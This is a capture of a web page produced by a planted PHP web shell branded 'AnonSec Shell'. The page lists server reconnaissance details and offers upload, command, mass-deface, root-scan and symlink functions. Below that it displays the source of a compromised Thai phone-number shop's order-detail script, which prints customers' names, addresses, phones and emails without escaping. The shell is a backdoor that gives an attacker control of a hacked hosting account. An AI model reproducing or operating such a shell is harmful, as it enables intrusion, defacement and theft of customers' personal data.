AnonSec Shell
Server IP : 104.21.37.246  /  Your IP : 172.71.28.146   [ Reverse IP ]
Web Server : Apache
System : Linux cpanel01wh.bkk1.cloud.z.com 2.6.32-954.3.5.lve1.4.59.el6.x86_64 #1 SMP Thu Dec 6 05:11:00 EST 2018 x86_64
User : cp648411 ( 1354)
PHP Version : 7.2.34
Disable Function : NONE
Domains : 0 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home2/cp648411/public_html/simded.com/include/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /home2/cp648411/public_html/simded.com/include/ajax_orderdetai.php
<?php
include('../include72/class.php');
?>
<?php
$id_order = (int)$_POST['id'];
?>

<div  style="margin:20px;border:0px solid #F00;">     
<div class="row" style="margin-top:25px;">
        <div class="col-md-12" style="margin-bottom:10px;">
            <p style="font-size:20px;">รายการสั่งซื้อ <?php echo '#'.str_pad($id_order,5,"0",STR_PAD_LEFT);?></p>
         
             <table class="table tb_list_cart">
                <thead>
                  <tr>
                    <th>ร้านค้า</th>
                    <th>เบอร์ที่สั่งซื้อ</th>
                    <th>เครือข่าย</th>
                    <th>ราคา/บาท</th>
                  </tr>
                </thead>
                <tbody>
                <?php
					$total = 0;
					$list_or = array('table'=>'order_detail','where'=>'id_order = "'.$id_order.'" ORDER BY id ASC' );				  
					$view_or = $view_db->view($list_or);
					$result_or = $view_db->q_re($view_or);
					while($row_or = $view_db->q_ro($result_or))
					{
						
						$list = array('table'=>'phonenumber','where'=>'id = "'.$row_or['id_pho'].'"','order'=> "ORDER BY id DESC");				  
						$view = $view_db->view($list);
						$row = $view_db->q($view);
						
						$phonenumber = $Phone_class->format_phonenumber($row['phonenumber'],$row['format']);
						
						$row_mobilenetwork = $actiondata_db->q_one('mobilenetwork','id = "'.$row['mobilenetwork'].'"','image');
						
						$list_shr = array('table'=>'shop','where'=>'id = "'.$row_or['id_shop'].'" ');				  
						$view_shr = $view_db->view($list_shr);
						$row_shr = $view_db->q($view_shr);
						
						?>
						 <tr>
							<td><div><a href="<?php echo $Url_shop.$row_shr['codeshop']?>">
							<?php echo imgprofile_shop($row_shr['image_profile'],'34').' ' . $row_shr['nameShop']?> </a></div></td>
							<td><div><?php echo $phonenumber; ?> </div></td>
							<td><div><img src="<?php echo $upload ?>mobilenetwork/<?php echo $row_mobilenetwork ?>" width="50"></div></td>
							<td><div class="td_end"><?php echo number_format($row_or['price'])?> </div></td>
						  </tr>
						<?php
						$total =  $total + $row_or['price'];
					}
				?>
                </tbody>
              </table>

             
                <div class="row" style="border-bottom:1px solid #f4eedc;padding-bottom:10px;color:#000;font-size:20px;">
                  <div class="col-xs-8" align="right">  ราคารวม  &nbsp;&nbsp;&nbsp;&nbsp; </div>
                   <div class="col-xs-4" align="left"> <?php echo number_format($total)?>  บาท</div>
                </div>
				<?php
                $sql_m = array('table'=>'orders','where'=>"id = '".$id_order."'");
                $viewid_m = $view_db->view($sql_m);
                $row_m = $view_db->q($viewid_m);  
                ?>
                <?php $sip=$row_m['delivery_p'];?>
                <div class="row" style="border-bottom:1px solid #f4eedc;padding-bottom:10px;color:#66be89;font-size:20px;">
                  <div class="col-xs-8" align="right"> <?php echo $row_m['delivery']?>  &nbsp;&nbsp;&nbsp;&nbsp;</div>
                  <div class="col-xs-4" align="left"> <?php echo number_format($sip)?>  บาท</div>
                </div>
                <?php $sumtotal = $total + $sip ;?>
                <div class="row" style="border-bottom:1px solid #f4eedc;padding-bottom:10px;color:#F00;font-size:20px;">
                   <div class="col-xs-8" align="right"> ราคารวม  &nbsp;&nbsp;&nbsp;&nbsp;</div>
                  <div class="col-xs-4" align="left"> <?php echo number_format($sumtotal)?>  บาท</div>
                </div>
           
           
            
            
                 
        </div>
</div>
        
        <div class="row" style="margin:25px 20px 20px 0px;">
        <div class="col-md-12" style="margin-bottom:10px;">
          
        	<div class="row">
              <div class="col-md-8" style="background-color:#fff6da;padding-top:20px;padding-bottom:20px;margin-top:20px;">
              <p class="HeadText" style="text-align:left">ที่อยู่การจัดส่ง</p>
              <p style="font-size:18px;padding-top:25px;">
              	รายละเอียด <br>
                คุณ<?php echo $row_m['name'] .' '. $row_m['lastname']?><br> 
               	<?php echo $row_m['address']?><br>
                จ. <?php echo $row_m['name'];?>   <?php echo $row_m['zipcode']?> <br>
                โทร. <?php 
				$phone = $Phone_class->format_phonenumber($row_m['phone'],1);
				echo $phone; ?> <br>
                Email : <?php echo $row_m['email']?><br>
              </p>
              
              
              </div>
            </div>
                  
        </div>
</div>
</div>   

Anon7 - 2022
AnonSec Team